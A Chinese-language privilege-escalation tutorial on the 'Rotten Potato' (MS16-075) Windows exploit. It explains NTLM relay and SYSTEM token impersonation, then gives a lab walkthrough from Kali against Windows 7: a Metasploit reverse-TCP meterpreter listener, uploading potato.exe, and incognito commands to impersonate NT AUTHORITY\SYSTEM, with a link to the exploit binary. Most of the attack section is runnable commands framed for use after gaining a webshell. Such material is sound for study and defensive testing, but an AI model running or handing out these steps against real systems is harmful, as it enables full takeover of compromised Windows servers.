原理
- 欺骗
“NT AUTHORITY\SYSTEM”
账户通过NTLM认证到控制的TCP终端 - 对这个认证过程使用
中间人攻击(NTLM重放)
,为“NT AUTHORITY\SYSTEM”
账户本地协商一个安全令牌。这个过程通过一系列的Windows API调用实现的。 - 模仿这个令牌。只有具有“
模仿安全令牌权限
”的账户才能去模仿别人的令牌。一般大多数服务型账户(IIS、MSSQL等)都有这个权限,用户级账户大多数没有这个权限。
一般从Web拿到的WebShell 都是IIS 服务器权限,是具有这个模仿权限,使用菜刀反弹meterpreter就会成功
烂土豆&&热土豆
烂土豆比热土豆的优点:
- 100%可靠
- 全版本通杀
- 立即生效,不用像hot potato 那样有时候需要等到Windows更新才能使用
通过中间人攻击,将COM(NT\SYSTEM权限)在第二步挑战应答过程中认证的区块改成自己的区块获取SYSTEM令牌,然后利用msf的模仿令牌功能模仿SYSTEM令牌
案例
Win7烂土豆提权
- 攻击机:Kali 172.16.0.87
- 靶机: Windows7 172.16.0.86
上传木马并获取一个监听Session
载入监听模块:use exploit/multi/handler
设置Payload: set payload windows/meterpreter_reverse_tcp
设置参数:
run -j
执行监听
查看sessions 刚刚获取的是Sessions 2
可以直接输入sessions 2进入sessions 2 的meterpreter中
这一步直接跳过,msf自带的exp无法提权,所以在Gtihub上下载一个
通过meterpreter上传到目标机器
upload /root/potato.exe c:/ 上传potato.exe到目标机器中的C:/目录下
然后运行之前在令牌提权中的命令:
use incognito
# 加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)
list_tokens -u
# 列出目标机器用户的可用令牌
execute -cH -f c:/potato.exe
# 创建新的进程
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
参考链接:https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-075/potato.exe